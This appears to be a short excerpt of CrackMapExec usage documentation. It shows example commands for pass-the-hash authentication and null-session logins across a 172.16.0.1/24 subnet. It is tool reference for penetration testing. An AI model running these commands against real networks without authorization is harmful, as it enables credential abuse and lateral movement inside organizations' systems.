Using Credentials, NULL Sessions, PtH Attacks

#Passing-the-Hash CME supports authenticating using Passing-The-Hash attacks with the -H flag:

crackmapexec 172.16.0.1/24 -u username -H LMHASH:NTHASH

crackmapexec 172.16.0.1/24 -u username -H NTHASH

Null Sessions

You can log in with a null session by using '' as the username and/or password

Examples:

crackmapexec 172.16.0.1/24 -u '' -p ''